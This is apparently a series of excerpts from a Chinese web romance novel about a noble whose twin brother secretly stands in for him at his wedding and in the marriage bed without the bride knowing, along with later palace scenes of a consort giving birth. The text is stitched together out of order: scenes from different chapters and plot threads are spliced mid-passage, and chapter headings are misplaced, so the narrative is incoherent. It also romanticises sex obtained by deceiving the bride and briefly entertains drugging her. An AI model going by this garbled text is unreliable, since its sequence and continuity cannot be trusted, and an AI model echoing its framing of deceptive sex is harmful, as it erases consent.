沈幼宜正要抱怨阿娘怎么叫二郎偷/窥,还未先一步开口,母亲面上慈爱柔和的神色倏然消失,语气严肃得令人心慌。 “盈盈,同你成婚的真是太子吗? 崔氏和这个女婿相处远没有女儿多,按理说沈幼宜对太子才是最清楚的,可盈盈太小了,未必能识破丈夫的真面目。 沈幼宜试着理解这句话背后的意思,忍不住笑出声,迎上母亲那恨铁不成钢的目光才止住些。 “阿娘,您最近是不是在看什么奇怪的书呀?” 她目光流转,有一种狡黠的快活,低声道:“我见过大伯,他和现在的二郎确实生得很像,但脾气不同,而且身上还有几处不一样的地方。” “世子的喉头有一颗红痣,二郎是没有的,还有就是……” 她咬了咬牙,连最隐私的事情都和母亲讲过,这事讲出来倒也还好:“我在二郎手上咬过印记的,他今天一直不敢在阿娘面前露出来,大约是怕您说我。” 崔氏沉默半晌,她不能想象女儿会在什么时候咬住丈夫的手,但又好像什么都想了。 “那倒是我多心了。” 崔氏徐徐吐出一口气:“你平日里有同时见过世子和二郎么?” 元朔帝稍稍用了一点力气。握了握她渐渐回温的手,试着安抚她:“宜娘说过爱朕,要与郎君永不分离,我没什么不相信的。” 半阖的帐里满是男子的气息,太子是个可恶的丈夫,他居高临下,阴影将她全然覆住也就罢了,偏偏还要那样看着她…… 帘幕低垂,她只能半抬螓首,迎上丈夫幽深目光。 而此次北上,除了这位清平官自己主动请缨,也是因为天子的要求十分古怪,蒙氏国王希望派一个熟悉汉地、尤其是长安的使节来向天子朝贡,同时表明忠心,不会和吐蕃勾结。 那位太守起初也没有想过这位野心勃勃的清平官会和远在长安的贵妃、东宫太子扯上什么关系,他知道之后,所能做的也只是按照朝廷旨意行事,一路派人护送监视,不许同南诏透露半个字。 元朔帝同她大概讲了讲萧彻在异国的遭遇,他没有必要略去那些受苦艰难的时光,只是也不会刻意为萧彻渲染些什么,以讲故事的那种平淡无趣缓缓道来,仿佛与这个人没什么干系。 沈幼宜扭过头去,她忍了忍心底的酸涩:“我不值得他这样冒险。” 元朔帝却不这样以为,他抚着她的肩膀,温声道:“或许宜娘以为不值,可要做的那个人并不这样想。” 萧彻得到了她许多年的情意,除了他,无论是太子、还是他自己,都不足以让宜娘为了复仇,献身给另一个陌生男子。 于血缘上,他曾嫉妒她的兄长,做了后夫,又不免嫉妒前人。 第 84 章 第 84 章 元朔帝失笑:“朕也不想,但龙生九子,难免有所偏差。” 沈幼宜稍有些不忍心,但并不是很多,低声道:“有时候想一想,倒不如由着陛下当初将柳氏放入道观寺庙。” 她也不曾想,柳氏心爱的人居然会是赵王的儿子,太子当年存了私心的断案,反而才是对的。 元朔帝俯身亲了亲她,神色仍是平和的:“这些事情耗费心神,宜娘今日受了惊吓,该好生睡上一会儿,朕等些时候会和你与柏夫人一同用膳。” 这些事情会有旁人来验证真伪,不需要她多解释,他在她身上索求的已得到餍足。 只是做兄长的娶亲反而落在弟弟的后面,听说圣上有意赐婚时他数度婉拒,说“贼寇未灭,当效仿冠军侯,以四海为家。”,圣上大笑,后来便随他去了。 沈幼宜从前只听过一点那人的传闻,进府那日远远偷看,发现双生子果然容貌相仿,只是她这位夫兄经历过官场沉浮与沙场磨砺,不言不语间也有一股迫人之感,不似夫君那般粗犷爽朗,待她赤忱,吓得人目光飘忽下移,忽而瞥见他颈侧细小红痣,格外惹眼。 太子没有这颗痣,她记得清清楚楚,小门小户的人家不讲究深闺里男女有别那一套,他从前生病高热不退,她用帕子替他擦拭过上身,光洁如一块整铜,肌理分明,内里蓄着无尽的力量,并无瑕疵,惹得她芳心可可,脸倒比病人还红上两分。 沈幼宜一阵胡思乱想,渐渐攥紧了手中的喜果,婚前没人教导过她夫妻是怎么一回事,她从前只听那些荤素不忌的大嫂们讲过一点,还理解错了意思。 当初被还叫阿牛的太子捉住亲了一下,他们便以为有怀孕的可能,沈幼宜怕情郎从军之后一去不回,她一个未婚女郎怀孕露丑,被绑起来点天灯。 还是进了国公府,沈夫人让陪房拿了些压箱底的东西给她看,那两个磁制的小人一拆即合,难舍难分,又有许多书册讲解,她才知道婚前那样的亲热不过是闹着玩,不会教她大了肚子。 今晚就要同太子合房……沈幼宜想到那些手段有些羞怯口干,半掀喜帕想要水喝,可一想到夫婿这些时日的回避,那颗心稍稍冷了些,她清了喉咙,唤自己的婢女红麝过来。 “去听听前面的动静,郎君是不是快该回来行礼了,这钗重得很,我好生难受。”医师的话和兄长信中不差,太子纵然有一丝失落,可能重新站起来,这就已经是意外之喜了,面上也露出些笑意,急切道:“按先生所言,我很快就能行走?” 他受够了每时每刻离不得人的生活,冬日阴湿的金陵连水汽都像是腐蚀人的,他缩在轮椅上,被困在这方寸天地里,侍从的小心翼翼,更让他觉得自己是个废人。 唐而生道了一声自然,他写了两张药方,外敷内用:“我与世子有言在先,郎君治病期间需遵医嘱,戒骄戒怒、少食甜辛,酒最好不饮,勿近女色。” 太子自忖这些日子确实过于易怒,饮酒是这几日才减少的,但他原先不算贪杯之人,这不算难事,一一都应承下来。 唐而生略感满意,世子与他交谈时似乎颇多忧虑,弄得他以为裴家二公子是十分难缠的病人。 宴席设在临湖的澄辉阁,之前是为了方便宾客观赏画舫歌舞,不过近来昆曲在达官贵人之间流行,沈夫人特地安排了一出《紫钗记》,教府里养着的戏子在新搭的戏台上唱演。 主宾皆是分桌而食,元朔帝听着台上二人折柳送别,心底并无多少感触。 炙手可热的权臣勋贵观赏一出士族门阀欺压相爱男女、棒打鸳鸯的悲情戏取乐……这于他而言并无多少乐趣,或许是他近来多思,也无心取乐。 太子久不听戏,看得目不转睛,他想起离家那日,沈幼宜穿着一身浅色衣裙,两人也是这般依依惜别,本来她满十四岁的时候两人就可成婚,但父亲去世之后家境大不如前,治丧花了一大笔钱,娶妻就是要她嫁过来受苦。 靠科举博取富贵,这不是他能走的路子了,只有从军入伍,还有一线可能,那时他宁可用性命换金银。 盈盈年纪幼小,却不能忍受分别之痛,在他怀中哀泣不止,又不敢说些挽留的话,就将那枚平安符缠了一缕青丝送与未婚夫,祈祷神佛能保佑他平安归来。 沈夫人心情舒畅,见次子知道行走有望,多了些听戏的精神,更是打心底里欢喜,要不是得防着二郎媳妇知道,就是让戏子们每日变着花样唱都心甘情愿。 然而目光转向自斟自饮的长子时,又不免心生同情。 她也知道长子不喜爱与弟妇偷/欢的滋味,不愿意做这个恶人,但宫中太医没个章法,唐神医又更擅长医治外伤,之后几个月还是要勉强玄章去与沈氏同床。 直到沈氏怀孕,才能结束这场偷龙转凤的闹剧。 “去厨房端一碗我喝的燕窝马蹄羹给世子,他这几日辛苦得很,人瞧着都瘦了些。”沈夫人心疼道,“喝了好几盏酒,教他醒醒神,别伤了脾胃。” 秦妈妈应了一声,夫人自从得了这个补肾壮/阳的方子,就变着法子教世子服用,只是夫人从前就对世子十分关切,世子想来一时也察觉不出来。 侍者上前更换菜肴,一碗热腾腾的羹汤被端到手边,元朔帝瞥了一眼秦妈妈,这汤她只取了一份,没有另外的侍女拿给二郎。 母亲似乎拿他当小孩子对待,总喜欢送些汤汤水水给他。 元朔帝想起唐而生的嘱咐,但燕窝和马蹄都是滋阴润肺的平和食材,在这些小事上他一贯是顺着母亲的,但在才回来的二郎面前,这一碗水起码应当端平些才好。 “有劳妈妈,还是将这份先送给二郎。” 秦妈妈闻言看了一眼世子,怕他生疑,笑道:“世子爷思虑周全,但二公子前日说不大喜欢这味道,所以夫人就不命人再送去了。” 太子也注意到这边的动静,他此刻对这个哥哥只有感激,还不至于计较一碗燕窝的偏爱,收拾起心底的伤感,笑着以茶敬他:“此番多赖兄长尽心,我敬兄长一杯。” 然而他心中最牵挂的事情却总不能自己完成,太子望了一眼唐而生与母亲,轻轻叹道:“只是我身有不便,日后家中私事……还请兄长多为我费心。” 他这话忽而伤感,沈夫人自然知道他的意思,笑着道:“这孩子,你只管安心养病就是,当初是为你哥哥伤着的,他还会不成全你吗?” 她深深望向长子:“能者多劳,你比他早生几刻,天生该辛苦些。” 成全他的心思……元朔帝苦笑了一声,他才想着与弟妇再不相会,若真这样做了,成全的未必是二郎的心思。 酒过三巡,元朔帝仅舀了一勺燕窝入口,就将汤羹搁下,他见侍立在远处的亲随匆匆向外,过了一会儿才折返回来寻他,面上还算沉着,然而压低的声音却有些发颤。 “世子,二少奶奶回府来了!” 元朔帝起身,见父母目光移来,寻了个借口向外,一抹石榴色的身影立在湖畔,像是与府中管事交谈,如今正向临渊堂的方向去! 临渊堂离怀思堂和澄辉阁最远,留守的侍从都没跟着世子去见过二少奶奶,亦能随机应变,想来能拖延一段时间。 他虽解了一时困境,却又将这棘手事抛给主子,元朔帝揉了揉眉心,他与弟妇分别已久,但这症状却有增无减,只需从旁人口中听到她的名字,他便有些……实在龌龊。 父母只怨他不够勤勉,难以早日实现这借/子的下/流意图,二郎却嫌伯媳太过亲热,会疏远日后他们夫妻的关系。 而与他同枕共眠的弟妇也夜半低低饮泣,担忧她太过年幼,不能引起丈夫的兴趣。 成全……他竭力想周全所有人,宁可多忍耐一些,然而无人欢喜。 包括他自己。 “母亲与唐先生如果问起,就说我有要务,不要惊动二郎。” 再回房去妆扮修饰已是来不及,元朔帝取出随身携带的物事匆匆覆住那颗红痣,沉声道:“教跟着沈氏的婢女都回院子去。” 亲随从未见世子如此生气过,然而二少奶奶不知内情,本身无错,错的只会是回答不够滴水不漏的他,一时羞惭,忙应了下来。 备嫁的时候她身边有沈夫人的陪房秦妈妈跟着,不仅仅是指点她男女之事,还教她坐卧行走,免得成婚时出笑话。 可新妇入了洞房之后,大概国公府的人也觉得没必要再给这位寒酸的二房媳妇做什么脸面,房内只留了红麝服侍,剩下的仆人都领赏吃喜酒去了。 不过这样沈幼宜还更自在些,起码红麝不会见她掀开一点喜帕就说不吉利,什么‘郎君不发话,这帕子一定要遮得严严实实’。 娘子遮着脸,红麝今日却看得分明,她见过二公子与自家娘子相处时的情投意合,因此拜堂时看见新郎那天差地别的冷淡姿态格外不平,可娘子却惦记着似乎早就变心的夫君,她忍不住鼻子发酸,应了一声是,快步向外去了。 二公子比从前稳重了许多,似乎也更高大,国公府养尊处优的生活在不经意间改变了那个实诚汉子,那双曾经握锄挥刀的手依旧宽厚,一只就能握住娘子那对细巧玉腕,可在红绸的映衬下,似乎比从前赏心悦目许多,连她也多看了两眼。 可随即她心内又暗啐一声,富贵滋养容貌,可也坏了人的心肠,已经瞧不上娘子,又不肯主动退婚,娶进来居然又是这样冷淡对待。 不过毕竟是新婚第一夜,就算是姑爷被国公府的富贵迷了眼,瞧不上自己从前心许的女郎,可总该给妻子些颜面的。 可她想的却半点不对,前面的宴散得很早,可二公子吃了些酒没回新房,却去了世子爷院里。 元朔帝在席间被灌了不少酒,然而仍能维持清明神色,他新被圣上授予差使,检视军中各处火器,军情要务在镇国公世子这里自然要比弟弟婚宴更要紧,因此也没什么人在席间质疑他为何不来观礼。 然而除了极少数人,席间宾客无人知晓,与弟媳拜堂成亲、迎客饮酒的并非镇国公新认回的二公子太子……而是他元朔帝。 宴席将散时侍从小心低语,说是二公子吃得大醉,下人们担心出事,问要不要请大夫上门。 那些人平日里看不惯他,又不敢得罪这位实权在握的世子爷,只好借机磋磨新郎官,可待他回房察看玄朗情状时,屋内空坛堆积,显然玄朗喝的酒比他不知多上几何。 从前摆设清雅的卧房已经酒气冲天,元朔帝甫一入门,眉头便倏然拢起。 若在军中有人宿醉无状,无论出身贵贱,皆杖三十。 可家事远比公事难清,他与父母亏欠玄朗颇多,彼此分别多年,难免稍稍纵容,因此也不过示意随从洒扫焚香,冷声道:“太医再三叮嘱,你腿疾未愈,不可沾酒。” 半颓在椅上的太子早失去了初入行伍时的意气风发,他醉眼朦胧,慢慢抬了半张眼皮看向兄长,像是挑衅般,看向另一个自己。 一个比他好上千倍百倍的“自己”。 只有这样的“太子”,才配得上盈盈那样娇俏动人的妻子。 只是做父亲的,原本是想要将这偌大江山都留给他一人继承,最后却只留给他一间禅舍,心里到底是过意不去。 元朔帝轻轻叹了一口气,人生总难以两全,他低声道:“这些时日太后大约心烦,宜娘想要玩乐都在紫宸殿里,不要多往外去。” 沈幼宜窝在他温暖怀抱中,略微有那么一点惆怅,放下屠刀,立地成佛的故事极少发生在皇室中,然而她还是勉强劝了劝:“释迦牟尼出家前也是王子,或许殿下当真能悟道,这也没什么不好。” 剃度礼是在太子被下旨废去名位三日之后,朝野为之震惊,是以除了赵王,也没人注意到嘉德殿里少了柳氏这么一个人。 太后伤心至极,只是因受柳氏牵连,赵王被迫离京,居于王府静思,无法也无心陪伴在母亲身侧插科打诨,哄娘亲欢喜。 第 85 章 第 85 章 她的神情过于淡定,只是手在发抖,元朔帝也微微吃惊,伸臂将枕边人抬起,塞了早预备好的软枕垫腰,才吩咐人进来。 圣上喜静,贵妃生产在即,紫宸殿早早就预备了产房与相应的一干人手,虽仍如往日肃宁,可内侍与宫人却时刻紧绷着,只要那一点轻微的响动,瞬时便能有条不紊地动作起来。 太后虽然不赞成一个女人在皇帝的寝宫生产,但是儿子既然这样做了,她也无法多说些什么,只是先一步吩咐过陈容寿,不必教皇帝看见那血淋淋的场面,届时无论多晚,都要到嘉德殿来请她。 皇帝膝下拢共才两位皇子,又都不能继承皇位,太后也有些焦躁,但愿沈幼宜这一胎能生出个皇子来,早早将东宫的位置定下来也好。 然而太后也不曾想,她生得这样早,才得了消息便立刻吩咐宫人排驾。 而不是一个无法生育、甚至还要拄杖行走的废人。然而她还是忍不住啰嗦两句:“你们两个年岁尚轻,如今无事,又是夫妻情好,也该多想想子嗣,我和你们父亲早就盼着家里添丁进口,不要像你们阿兄那样,至今连个相好的都没有。” 元朔帝这两年在京城名门闺秀里的行情见落,加过冠还不结亲,勉强可以说是好男儿志在四方,可又迟了四五年,这在男子中就很不像话了。 又不是贫苦人家的郎君,为了将来中了科举能顺利娶一位出身名门的正妻才维持守身的名声,不娶妻,总是惹人议论的。 大郎房里伺候的还多是年轻男子……这几年里,什么难听的话都有。 越是如此,她心越高,更要为儿子找一个样样都十分出色的妻子才能平息心里的怒火。 沈夫人微微忐忑,大郎他聪慧过人,应当是明白她这层隐晦意思的罢? 元朔帝拧眉,他哪里无事,这几日若不是因为家里的荒唐事,他已经转遍京郊各处,何须像现在这样。 弟妇一个柔弱无知的女子,被他们哄着做这等事情已是不妥,才第一月,母亲还要多快? 他饮了一口茶,平和道:“母亲也说盈盈与我年轻,不必急于一时,要是盼着麟儿降生,不妨去催兄长早日成婚。” 左右他一个人在母亲这里时推辞比用二郎这个身份更方便些,他一贯孝顺,不愿意当众拂逆母亲的意思。 沈夫人抿唇一笑,难得长子松口吐露娶亲,她也不欲多留二人,笑着道:“说的也是,他比你可恶十倍,教人把心都操碎了。” 沈幼宜回院时如释重负,她知道在大多数婆母眼中,尽快传宗接代才是媳妇应尽的职责,何况丈夫的年纪比她大许多,婆母更会着急。 可她如今还想和夫君多亲热些时日,子嗣的事情顺其自然就好,而且……沈幼宜偷偷觑了一眼身侧的二郎,她夜里没看得全貌,但从身形上看,也是虎背蜂腰螳螂腿,很是健硕。 有这样的丈夫,需要她多努力什么? 沈幼宜想起那点不愉快,她安慰自己,或许那只是一个不大美好的梦。 浴间已经烧好了水,沈幼宜懒洋洋地浸在热水里,发出一声轻叹。 她口中含了一块冰,缓解午后的热烫。 郎君指腹的茧子磨过她细嫩的喉舌,力道不重,没想到至今开口都有些痛。 可她很喜欢,一点也不讨厌。 但她不敢想,如果是别的东西,一块冰能镇得住么? 太子近来学了些儒生的坏习惯,可有时候也装不了太久,倘若他今晚要换成别的,她应该可以拿一拿乔再同意的吧。 当第三块寒冰在她舌尖化为温水,沈幼宜才起身回房,新婚的布置还没撤下,她换了一身薄如蝉翼的寝衣。 成婚后府里绣娘待她没有以前殷勤,穿在外面的罩裙比甲仍然如旧,在寝衣上却怠慢了许多,衣料越用越少,外衫遮不住她精致细巧的锁骨,内裙的放量又有些不够,束得人心口疼。 可能是她长得有些大,绣娘手里的尺寸却还停留在入府时候。 室内一灯如豆,昏暗难明,她持烛走进来,轻轻唤道:“郎君,你睡下了?” 帐中人呼吸早已平稳,不能回应她的温言软语,沈幼宜说不失望也是假的,她吹熄手中烛火,蹑手蹑脚爬到里侧去。 秦妈妈说女子都是睡在外侧,方便服侍夫郎的,但太子起得早,且不需要她怎么服侍,睡在外侧也没什么。 待枕边人渐渐安分下来,元朔帝倏然睁开双眼。 弟妇越过他的动作着实有些失礼,她分明可以从膝边迈入,却似要故意吵醒他一般,撑在他身上,一点一点挪进来,颊侧满是她温热急促的呼吸,喷在他下颚,同她的唇瓣一样柔软。 细闪精巧的长链串着米宜,缓慢而轻柔地划过他腹下,如潮汐涨退,但是再慢一些,就会被岩石阻挡去路。 他可以想见她亲手将那一圈圈细丝缠绕于上的模样,同母蜘蛛织就密密的情网一样,一点蛛丝就侵蚀了他的心神。 她就这样喜爱夫兄送的首饰,连与丈夫共枕都舍不得取下珍宜金丝腰链。 也不怕二郎心里不痛快。 他重重地吐出一口气,为了旁人的妻子夜不能寐,说起来总是有些不像样子……除非寻到一味助眠的安神香,令她无法再来干扰他的心绪。 恰好,那个扮作妇女的采花贼被捕后,他得了这味香的香方。 然而这样龌龊的想法仅是一闪而过,元朔帝细思过后不免羞愧赧然,采花大盗用的安眠香岂会是什么好物! 将她迷晕,到底是要她楚河汉界不得互扰,还是要趁人之危,在她梦中催动情思,做下些只有他才晓得的下流事,满足他内心那些不可告人的欲? 这就是他所谓的君子不欺暗室? 睡梦里的美人不知是不是感觉到枕边人的危险,她睡得极不安稳,却还下意识靠到他怀中,呢喃求抱:“郎君……热得很。” 元朔帝一时无奈,荒谬得令人啼笑皆非,若论热,他只比衾被更热十分,哪有向他求凉的道理,不过同睡迷糊的人讲不了道理,将她的衾被解开,轻轻拍抚她背,若再哼一支温柔的摇篮曲,同养女儿倒也没什么分别。 然而他伸手,触到本该垂坠在腰下的长链。 元朔帝半支起身,掀开一点帘帐,昏暗的烛光透进,验证了他的猜想。 金银丝拧成极韧的线,织出宽阔的菱形格,不知是怎么卷得不像话,如今全缚在她上身。 像是一道设计精妙的锁链,被行刑士兵用在俘虏女奴的身上,献到主帅脚边。 她可以被尽情地使用。 可只要一想到本该属于自己的小登科,竟要央求由他人代劳,尽管这是他与母亲都竭力促成的事情,可真正望见一身喜服的兄长,听着外面的吹打弹唱,他还是心头发闷,只能靠烈酒压制住那阵躁怒。 他嗤笑一声,缓缓道:“兄长何必拿太医出来说我,本就治不好的病,几坛酒能碍什么事。兄长是嫌我脏了你的屋子,还是误了你与我妻子的洞房?” 这话极不中听,饶是亲信们训练有素,洒扫时也不免停顿片刻,随即又沉默地收拾碎瓷残酒,直到见神色冷峻的世子爷摆手示意,才如释重负般鱼贯而出。 屋内只余他们兄弟二人,似揽镜自照一般对坐,只是明明大喜之日,一个双眉紧蹙,一个冷笑连连。 “二郎,此举既然非你本心,何必赞同母亲,定要我替娶新妇?” 元朔帝亦微微烦躁,他本就觉得此事荒唐,若太子一时想不通,因腿伤羞于见人,他只替拜堂即可,日子总归是他们夫妻自己过的,岂有替到喜帐内的道理。 虽然二郎不能令女子有孕,传续两房香火今后皆是他一人之事,可日后他若娶妻,将次子过继到二房也是一样,不必与弟媳行此有违天理之事。 然而素来古板的母亲却斥责他此举不妥,二郎才认回来,在朝中毫无根基,日后他们夫妻大约也要靠国公府庇佑度日,哪个名门淑女会愿意将自己亲生骨肉过继给这样一对夫妻,那孩子长大成人得知真相,更不会真心孝顺二郎夫妇。 在母亲看来,同弟妇合房,于国公府、他自己、二郎夫妇都是百利而无一害的事情,更何况二郎不能生育这事,是做父母的有些对不住他,而弟弟不良于行也是为了救他,既然二郎都愿意向他借子,他更不该推辞才是。 一切皆因他而起,他不肯施以援手,便是不孝不悌之徒,若害得那沈氏女被退亲后郁郁而终,更是他担着的一条人命。 母亲年岁渐长,有些迂腐念头元朔帝不觉意外,然而他的同胞兄弟竟也极力赞成,这才是最荒谬之处。 他忆起校场初见时那毫不露怯的男子,爽朗豪迈,言辞恳切,绝非眼前颓唐自毁的醉汉,即便不悦,也未开口斥责。 太子见兄长目露难色,心下亦是苦痛难言,他一向仰慕元朔帝,因此特地奔赴这位大人帐下效力,不曾想两人竟是一奶同胞的手足,上了战场性命酒由不得自己,可他并非怕死的懦夫,即便是为兄长赴死,他也无甚怨言。 即便他杀贼而死,朝廷的抚恤和国公府的贴补也够盈盈置办嫁妆傍身,等过一两年另嫁旁人就是,兄长不会不管她。 可偏偏他没死,那便要贪心地活下去。 母亲本来不大中意这门婚事,可前些时日来探病,与他分析此举利弊,所谓圣心、国公府与兄长的前途,他与妻子日后相处,那张口张张合合,说出几千几万条道理来,他一个废人并不怎么在乎。 他只想教盈盈开心一些,享受一个妻子应该得到的一切。 而这个代替他的男子必须足够出色,最好也不要教她知道这一点。 “兄长想反悔也不必以此为借口,我只是担忧兄长没有经验,一时放心不下,有些要紧的话还需叮嘱兄长。” 太子神情倨傲,细品却是说不出的酸涩:“盈盈娇怯天真,又最在意我,若兄长不小心露出马脚,只怕会伤了她一片心。” 太后面上的笑纹都多了几根,宫中上一次有喜事还是东宫诞下麟儿,如今她这个儿子是一定要册立贵妃为后的,有了这个皇子,日后也能少生出些波澜。 她伸手抱起这个孩子,虽说面皮红皱,可做祖母的却还是辨认出他同皇帝和贵妃的相似,含笑道:“倒是比皇帝小时候还要俊些,抱着虽轻,嗓门却高得厉害。” 沈幼宜却听不见这个孩子的哭叫,她生产后还有点力气,只知道手被人紧紧握住,耳边有母亲的声音,说她生了个小皇子。 等到她再醒来的时候,已经是夜晚。 往常宫内有喜事,连着三夜都是要放铁树银花的,但如今却是静悄悄的。 第 86 章 第 86 章 沈怀安数日目不交睫,到了京畿才晓得贵妃已为今上生育了三皇子,元朔帝有意为这个儿子造势,虽早早听闻他携那吐蕃将帅的头颅赴京,却有意延了数日,教他在三皇子满月前一日入京。 贵妃不祥、妖姬祸国,这样的流言层出不穷,然而随着皇子降生,边关告捷,这样的谣传不攻自破,甚至传闻这位新降生的婴孩生有异象,降生后便有紫气绕庭,又有接连不断的喜事传来,当有东宫之分。 朝中已有人明了天子之意,上书为贵妃和这位三皇子请封,然而元朔帝却并不十分着急,同几位宰相正色道:“朕虽偏爱贵妃,然御极二十一年,已有二后,又废东宫,恐有克妻克子之命,倘若祸及幼儿,实朕之罪。” 皇帝命格极贵,然而内帷之事却多有不顺,后妃子女情薄,内宫数有废立,贵妃纵然盛宠,可天子正值盛年,一旦这个女人成为皇后,又有新的宠妃爱子,未必就能长久。 如今沈氏富贵到了极点,或许不封皇后,对于天子而言才会少些麻烦。 然而天子膝下毕竟只有这一个儿子有望承嗣,元朔帝特地寻了许多术士来为贵妃和这个老来子相面。 沈幼宜早知道他那许多打算,听说还寻了许负的后人郭氏来,揶揄道:“郎君就不打算把先帝陵寝的风水也看看?” 太后都哀叹,先帝除了有些好色,并没有多少古怪的爱好,却生出这么两个孽障,皇帝废了太子,赵王的世子也因柳氏被夺走,前不久郁郁而终。 但皇帝却这样敲锣打鼓地告诉人家他的儿子有一四海、君天下的命格,他们生来就是夫妻相,两人相克,反得终老,她虽不以为耻,却觉他只许州官放火:“也不怕那些术士知道您的心思,变着法地说好话,坏的也说成好的?” 他被她骗了一下,尚且气恼得不行,如今要为她造势,那虚荣的好话就可以变着花样往外传了。 元朔帝却不以为忤,他怀抱着软软的婴儿,心爱得不得了,气定神闲道:“朕能受得了宜娘的骗,怎么就不能受旁人的骗呢?” 沈幼宜再醒来时天光初显,她这一觉并不安稳,总梦见自己走入一间阴冷囚室,能听见铁索滑动的声音。 四周皆暗,隐隐有悲戚之声。 她浑身是汗,虽然这样的梦境她并不陌生,然而诏狱的可怖还是令她颤栗。 “阿爹!” 她提裙奔向牢中那人,然而静坐在草席中的那人缓缓转过头来,她忽而定在原地,不敢置信,颤声道:“郎君,怎会是你?” 那人似是受了刑罚,只露出侧脸,平和道:“你唤我什么?” 沈幼宜不解,试探地又挨近些,怯怯道:“夫君,你怎得不认识我了?” 那人顶着与她丈夫有八九分相似的面容转过身来,却更为沉毅渊重,他微微笑道:“好姑娘,是你不识得我了。” 他腰腹处伤疤纵横,刻在他身上却别有一种狰狞的美感,有箭伤刀伤,也有许多新添的血痕。 因不见天日,他的肌肤白得有些透明,她可以想象当烙铁印上去时,他皎洁肌肤下血肉瞬间化为焦团的可怖。 可最令人触目惊心的不是他这一身伤痕,而是他颈间那点……沈幼宜低低笑了半晌,察觉到他有些恼了,连忙伏在他身前又亲了亲,嗔道:“谁叫你躲着我来着?你是和世子学坏了么,成日板着脸,老气横秋的,我还是更喜欢你活泼些,他没成婚,你可是有新妇的人,难道你不喜欢我?” 元朔帝哑然,他在弟妇心里竟比二郎还老? 他轻咳一声,道:“我没有躲着你,只是有些累了。” 按照母亲的意思,既然是为了弟妇受孕,他就委屈一些,一月两次也就够了,一次是她行经结束的第十日,一次是第十五日。 这不是什么光彩的事情,就算不是为了照顾二郎的心情,他也不愿多玷污一个如花似玉的女子,这没什么可委屈的。 可他忆起她的羞怯妩媚,手不自觉往它不该去的地方去,又觉母亲确实了解男子的下流。 他竟然也会生出一些留恋。 累了他又不睡,沈幼宜不大相信,见他抚在腰上,以为郎君好心,就将纠缠在一起的珍宜链条递给他一缕,可怜地盯着他瞧:“郎君帮我解开。” 她简直可以称得上作茧自缚,却要他剥丝抽茧,元朔帝有条不紊地一串串解开,闻言失笑:“怎么想到夜里系它,不嫌麻烦?” 虽然他很欣赏这种被束缚的美丽。 尽管这被绑起来的不是他的妻子,他不方便有太多的破坏欲。 “因为好看呀!” 她有着无穷无尽的活力,欢快道:“看来以后改成珍宜衫也很方便,我想你会喜欢的。” 而且沈幼宜有一个难以启齿的愿望,她很喜欢逗弄太子,虽然他现在举止温柔,颇有些大家公子的风度,然而她却更盼着夜里他能更凶狠粗鲁一点,就像耕种时候那样,糙一点也没有关系。 大概她甜蜜的日子过多了,会想自己寻一点苦吃。 帷幔无声飘荡,沈幼宜好心伸手,想去扯开一些,却被他手疾眼快,一把攥住手腕。 她几乎喂到唇边,离得太近,他不可避免嗅到女子衣怀馨香,元朔帝初尝滋味,即便有心坐怀不乱,也不免血热,何况他方才…… “不用点烛,很快就会好的。” 他尽量不着痕迹地避开她的接触,耐心道:“……盈盈,你是每晚都睡不着么?” 沈幼宜忍俊不禁,点了点头:“那郎君要怎么哄我入睡?” 她喜欢出一些汗,倦乏过后泡浴,睡得应当会好些。 元朔帝披衣坐起,取了一只圆枕垫在中间,捉住她一臂,见她似乎被这动作惊到,想从他手中挣脱,吩咐道:“坐起身来,不要说话。” 沈幼宜犹犹豫豫坐直,她还羞于实践那些花样,只能顺从郎君的意思,含羞合眼。 生着薄茧的指腹扣在她脉门,沈幼宜倏然睁开了眼。 他目光锐利,虽不言语,但却有威慑之意,她也不好开口。 更何况夫君的眉峰渐拢,等他要换手,才小心翼翼道:“二郎,怎么了?” 过了良久,元朔帝才开口:“按道理说不该,明日我开个养身的方子,外敷内用,气色也会更好些,自然不愁入睡。” “还有……” 他顿了顿,像是有些忍笑:“日间少睡一些。” 沈幼宜悻悻道:“你又不在府中陪我,那还不许我睡一睡么……你怎么学会诊脉了?” 之前那位公爹在世的时候,太子几乎没和她提过还有这本事,和夫兄出去几个月,他转做军医了? 元朔帝面不改色,语气不见起伏:“兄长喜欢,所以闲来无事会教我。” 原来只是半路出家,沈幼宜立刻摇头,乖巧盖好衾被:“我马上就睡,郎君别喂我吃苦东西。” 她不想打击丈夫的自信,特别是在他似乎人道艰难的时候。 “我会把方子给兄长过目,再请外面大夫看一看。” 元朔帝了然她的心思,解释道:“兄长比我稍强些,听说他从小就爱钻研这些,就是皇爷也用过他的方子,不必太过担心。” 他并非夸耀,但对着弟妇说自己如何有本领,总是有些难为情,沈幼宜闷在被子里吃吃笑,露出眼睛觑他:“那哪里是比郎君稍强一些呀,分明是大伯自谦,要是他也觉得成,我吃两副试试。” 被人夸赞总是一件令人欢喜的事情,元朔帝被许多人称赞过,或是文章,或是骑射,其中也包括医术,但他如今只能垂下眼帘,用袍袖掩饰蜷缩的手指,道了一声“好”。 她乖巧的时候入睡很快,察觉不到有人轻掖她衾被一角,忽而一声响动,沈幼宜在梦里呢喃挣扎了两声才重新安静,那只手停顿片刻,反倒更越礼地虚拢在她颈间,缓缓贴在她细腻肌肤上。 次日清晨,沈幼宜发觉枕边又是早已空空,她叫来红麝,询问道:“二郎做什么去了?” 红麝略有些为难,她发现姑爷自从成婚以后很少像以前那样不分尊卑地和她说话,道:“姑爷没同奴婢说要做什么,不过好像是往世子爷院里去。” 沈幼宜知道大概是去讨教药方,但他们兄弟两个实在太形影不离,笑道:“大伯和二郎分别多年,二郎一向盼着能有个手足,又倾慕世子军功,以他为榜样,回来后肯定总去烦大伯的,那就不管他了。” 二郎简直越学越像他,从前没见过面,只能投到人家帐下效力,现在倒好,有机会日日跟随,自然什么都能模仿。 沈幼宜想了想假如有女郎时时刻刻准备模仿自己的衣饰妆容,她一定会有些不舒服,无奈道:“亏得大伯不腻烦他,郎君的官身还没下来,我不懂朝廷里的事情,让大伯宽解他几句也好。” 沈幼宜惊醒过来,才听得耳边有人焦急唤她:“娘子,娘子您怎么了?” 红麝听见内里动静,打水进来伺候娘子漱口起身,院里的仆从和婢女只有几个,她只负责近身的活计,然而一进来就见娘子细汗满额,神情惊惶,便知是做了噩梦。 她要了一盏茶,急急忙忙地喝起来,虽知梦境虚妄无凭,然而还是心有余悸,不能从方才的梦里走出来。 诏狱怎么可能让她一个小女子随便进去。可不知道为什么,她入金陵备嫁以后,太子便就像是消失了一样,从不与她会面,说是要守礼。 